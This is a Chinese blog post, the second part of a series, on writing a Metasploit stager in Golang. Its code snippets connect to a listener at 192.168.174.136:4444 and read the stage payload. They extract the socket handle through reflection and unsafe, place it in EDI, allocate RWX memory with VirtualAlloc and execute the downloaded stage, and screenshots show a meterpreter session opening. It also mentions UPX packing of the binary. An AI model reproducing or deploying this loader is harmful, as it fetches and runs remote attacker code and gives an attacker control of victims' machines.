1. 程式人生 > >msf stagers開發不完全指北(二)

msf stagers開發不完全指北(二)

# 採用 Golang 開發stagers 上一篇文章 [msf stagers開發不完全指北(一)](https://www.cnblogs.com/Akkuman/p/13183702.html)中我們談到如何採用 c 進行 msf 的 stagers 開發,這篇文章我們探討一下如何使用 Golang 實現同樣的功能 ## 思路梳理 在 Golang 中一點比較重要的是,我們如何能夠獲取到 socket 的檔案描述符,除此之外,我們還是同樣的步驟 1. 向 msf 監聽地址發起 tcp 請求 2. 獲取 stages 3. 將 socket fd 放入暫存器 edi 4. 從起始地址開始執行 stages ## 編譯環境 - OS: Windows 10 - Golang: go version go1.14.1 windows/amd64 ### 獲取stages ```go socket, err := net.Dial("tcp", "192.168.174.136:4444") if err != nil { return err } // read payload size var payloadSizeRaw = make([]byte, 4) numOfBytes, err := socket.Read(payloadSizeRaw) if err != nil { return err } if numOfBytes != 4 { return errors.New("Number of size bytes was not 4! ") } payloadSize := int(binary.LittleEndian.Uint32(payloadSizeRaw)) // read payload var payload = make([]byte, payloadSize) // numOfBytes, err = socket.Read(payload) numOfBytes, err = io.ReadFull(socket, payload) if err != nil { return err } if numOfBytes != payloadSize { return errors.New("Number of payload bytes does not match payload size! ") } ``` 這裡有幾點我們需要注意的地方,第一是讀取stages長度是需要使用 binary 庫把它轉化為 int32,你可以理解為 python 中的 struct 庫,第二個是我們慣用的從 socket 連線讀取資料使用的是 Read,但是並不能讀全,和網路有關係,需要使用 ReadFull 或者 ReadAtLeast 進行讀取。讀取到 stages 後,我們可以進行下一步操作了。 ### socket fd 放入 edi ```go conn := socket.(*net.TCPConn) fd := reflect.ValueOf(*conn).FieldByName("fd") handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd") socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr())) buff := make([]byte, 4) binary.LittleEndian.PutUint32(buff, socketFd) return buff ``` 這部分程式碼就是我上面所說的難點了,首先 `socket, err := net.Dial("tcp", "192.168.174.136:4444")` 返回的是一個介面 `type Conn interface` ,我們需要找到他的真實型別,繼續往裡面跟我們會發現他的真實型別是 `*net.TCPConn`,為什麼要做這一步? 我們先看看這個結構體 ```go // TCPConn is an implementation of the Conn interface for TCP network // connections. type TCPConn struct { conn } type conn struct { fd *netFD } ``` 我們其實需要的是裡面的檔案描述符,我們再往裡跟一下 ```go // Network file descriptor. type netFD struct { pfd poll.FD // immutable until Close family int sotype int isConnected bool // handshake completed or use of association with peer net string laddr Addr raddr Addr } // poll.FD // FD is a file descriptor. The net and os packages embed this type in // a larger type representing a network connection or OS file. type FD struct { // Lock sysfd and serialize access to Read and Write methods. fdmu fdMutex // System file descriptor. Immutable until Close. Sysfd syscall.Handle // Read operation. rop operation // Write operation. wop operation // I/O poller. pd pollDesc // Used to implement pread/pwrite. l sync.Mutex // For console I/O. lastbits []byte // first few bytes of the last incomplete rune in last write readuint16 []uint16 // buffer to hold uint16s obtained with ReadConsole readbyte []byte // buffer to hold decoding of readuint16 from utf16 to utf8 readbyteOffset int // readbyte[readOffset:] is yet to be consumed with file.Read // Semaphore signaled when file is closed. csema uint32 skipSyncNotif bool // Whether this is a streaming descriptor, as opposed to a // packet-based descriptor like a UDP socket. IsStream bool // Whether a zero byte read indicates EOF. This is false for a // message based socket connection. ZeroReadIsEOF bool // Whether this is a file rather than a network socket. isFile bool // The kind of this file. kind fileKind } ``` 可以看到 `Sysfd` 是檔案描述符,也就是我們想要的,我們需要取一下,這裡因為 Golang 裡面小寫開頭的欄位是不匯出的,我們需要使用反射取一下 **注意:可能因為 Golang 版本不一致,這個結構有所更改,請自行考證一下,主要原因是非匯出欄位,官方是不保證向下相容性的** 所以獲取檔案描述符的程式碼就是 ```go fd := reflect.ValueOf(*conn).FieldByName("fd") handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd") socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr())) ``` 檔案描述符是 handle 所指向的值,這裡需要**注意**一下 然後後面的還是我們之前的操作,使用 binary 包把 uint32 轉為 4bytes 陣列 然後我們需要把 socket fd 放入 edi ```go payload = append(append([]byte{0xBF}, socketFD...), payload...) ``` 把 `mov edi, xxxx` 放到了 stages 頭部 ## 執行stages 一切的準備工作都做完了,下面就是開始準備執行了,類似執行 shellcode 的方式,這裡的實現方式八仙過海各顯神通了,我這裡只給我我這裡的實現方式 ```go // modify payload to comply with the plan9 calling convention payload = append( []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57}, append( payload, []byte{0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3}..., )..., ) addr, _, err := virtualAlloc.Call(0, uintptr(len(payload)), 0x1000|0x2000, 0x40) if addr == 0 { return err } RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&payload[0])), uintptr(len(payload))) syscall.Syscall(address, 0, 0, 0, 0) ``` 這裡的一串奇奇怪怪的字元可以不用加,只是為了遵守 plan9 彙編的呼叫約定,一些 push 儲存堆疊現場和 pop 還原 然後就是先通過申請 `VirtualAlloc` 一塊可讀可寫可執行的記憶體,然後使用 `RtlCopyMemory` 把 stages 位元組碼拷貝進去,然後開始跑。 這裡的 windows api 使用的宣告如下 ```go var ( kernel32 = syscall.MustLoadDLL("kernel32.dll") ntdll = syscall.MustLoadDLL("ntdll.dll") virtualAlloc = kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") ) ``` 這裡其實你也可以使用 `x/windows` 庫方便使用。 ## 結果展示 ![](https://img2020.cnblogs.com/blog/1106918/202006/1106918-20200628133832509-453833740.png) 64位編譯出來 1.73M,通過 upx 壓縮後 616kb,32位編譯出來會更小 執行試試 ![](https://img2020.cnblogs.com/blog/1106918/202006/1106918-20200628133839647-1018429777.png) ![](https://img2020.cnblogs.com/blog/1106918/202006/1106918-20200628133846052-2026700846.png) 監聽 payload windows/x64/meterpreter/reverse_tcp ,可以看到成功上線 ## 注意事項 - **可能因為 Golang 版本不一致,這個結構有所更改,請自行考證一下,主要原因是非匯出欄位,官方是不保證向下相容性的** - **依然需要注意位數的差異,比如32位的payload請使用32位編譯,64位payload使用64位編譯** ## 成果原始碼 成果原始碼我就不貼出來了,其實也是這些程式碼組合